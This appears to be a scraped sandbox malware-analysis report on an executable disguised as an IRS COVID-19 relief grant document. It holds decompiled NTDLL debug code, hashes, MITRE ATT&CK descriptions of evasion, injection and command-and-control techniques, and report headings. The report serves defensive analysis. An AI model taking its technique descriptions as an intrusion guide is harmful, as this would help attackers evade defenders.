0x1e296588
0x1e2964c7
0x1e2964cb
0x1e2964ce
0x1e2964d3
0x1e2964da
0x1e2964e5
0x1e2964ed
0x1e2964f1
0x1e2964f5
0x1e2964f6
0x1e2964fa
0x1e296502
0x1e296503
0x1e296504
0x1e296507
0x1e29651a
0x1e296524
0x1e296524
0x1e296526
0x1e296526
0x1e2964aa
0x1e29652c
0x1e29652d
0x1e29652e
0x1e296539

APIs

RtlDebugPrintTimes.NTDLL ref: 1E29651A

Strings

0, xrefs: 1E2964FA
0, xrefs: 1E2964E5

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: DebugPrintTimes
String ID: 0$0
API String ID: 3446177414-203156872
Opcode ID: 05ed384b3a916d41095e36b3d20a9e0985a9124636ae2666fb405762d4772b0c
Instruction ID: c8fe4bb56b7c6dc6b939153388bd09f95936cebb4e2909e580bf9ae6a09722a4
Opcode Fuzzy Hash: 05ed384b3a916d41095e36b3d20a9e0985a9124636ae2666fb405762d4772b0c
Instruction Fuzzy Hash: 87418AB56087529FC310CF28C494A5ABBE5FF88704F104A2EF988DB340D735EA49CB96

Uniqueness

Uniqueness Score: -1.00%

Function 1E2FFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E1E2FFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E1E2ACE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E1E2F5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E1E2F5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x1e2ffdda
0x1e2ffde2
0x1e2ffde5
0x1e2ffdec
0x1e2ffdfa
0x1e2ffdff
0x1e2ffe0a
0x1e2ffe0f
0x1e2ffe17
0x1e2ffe1e
0x1e2ffe19
0x1e2ffe19
0x1e2ffe19
0x1e2ffe20
0x1e2ffe21
0x1e2ffe22
0x1e2ffe25
0x1e2ffe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 1E2FFDFA

Strings

RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 1E2FFE01
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 1E2FFE2B

Memory Dump Source

Source File: 00000001.00000002.621265468.000000001E240000.00000040.00000001.sdmp, Offset: 1E240000, based on PE: true

Associated: 00000001.00000002.621506130.000000001E35B000.00000040.00000001.sdmp Download File
Associated: 00000001.00000002.621518286.000000001E35F000.00000040.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1e240000_IRS_Covid_19_Relief_Grant_Document_docx.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: afb729e34e4f9bee8baf3c444a9076fc85c4526f083e5f1c171b26012ca7651d
Instruction ID: a7063f2504929264aad1ea60fd4e7f283e376b6290dc56ae88b44ef0137f8fa2
Opcode Fuzzy Hash: afb729e34e4f9bee8baf3c444a9076fc85c4526f083e5f1c171b26012ca7651d
Instruction Fuzzy Hash: DEF0F63B540141BFE6244A45DD11F67BF6AEB45730F240314F628566D1EA62FC6086F0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report IRS_Covid_19_Relief_Grant_Document_docx.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Function 0040EB54, Relevance: 280.2, APIs: 148, Strings: 11, Instructions: 1904
COMMON

Function 00411139, Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 169
COMMON

Function 00401498, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 152
COMMON

Function 0041142A, Relevance: 45.6, APIs: 19, Strings: 7, Instructions: 136
COMMON

Function 00411D54, Relevance: 28.6, APIs: 19, Instructions: 143
COMMON

Function 00410BC9, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 119
COMMON

Function 004121E0, Relevance: 22.6, APIs: 15, Instructions: 112
COMMON

Function 00410EE6, Relevance: 19.6, APIs: 13, Instructions: 149
COMMON

Function 00410D92, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 84
COMMON

Function 0041207C, Relevance: 18.1, APIs: 12, Instructions: 91
COMMON

Function 00411871, Relevance: 18.1, APIs: 12, Instructions: 87
COMMON

Function 00411602, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92
COMMON

Function 004123E1, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
COMMON

Function 00411FC1, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 44
COMMON

Function 004119B6, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 72
COMMON

Function 00411ACA, Relevance: 10.6, APIs: 7, Instructions: 66
COMMON

Function 00411C3A, Relevance: 9.1, APIs: 6, Instructions: 69
COMMON

Function 0041175E, Relevance: 9.0, APIs: 6, Instructions: 35
COMMON

Function 004117F4, Relevance: 6.0, APIs: 4, Instructions: 28
COMMON

Function 00411BDC, Relevance: 6.0, APIs: 4, Instructions: 24
COMMON

Function 00567FDD, Relevance: 2.2, APIs: 1, Instructions: 718
COMMON

Function 00568C48, Relevance: 1.6, APIs: 1, Instructions: 146
filenetworkCOMMON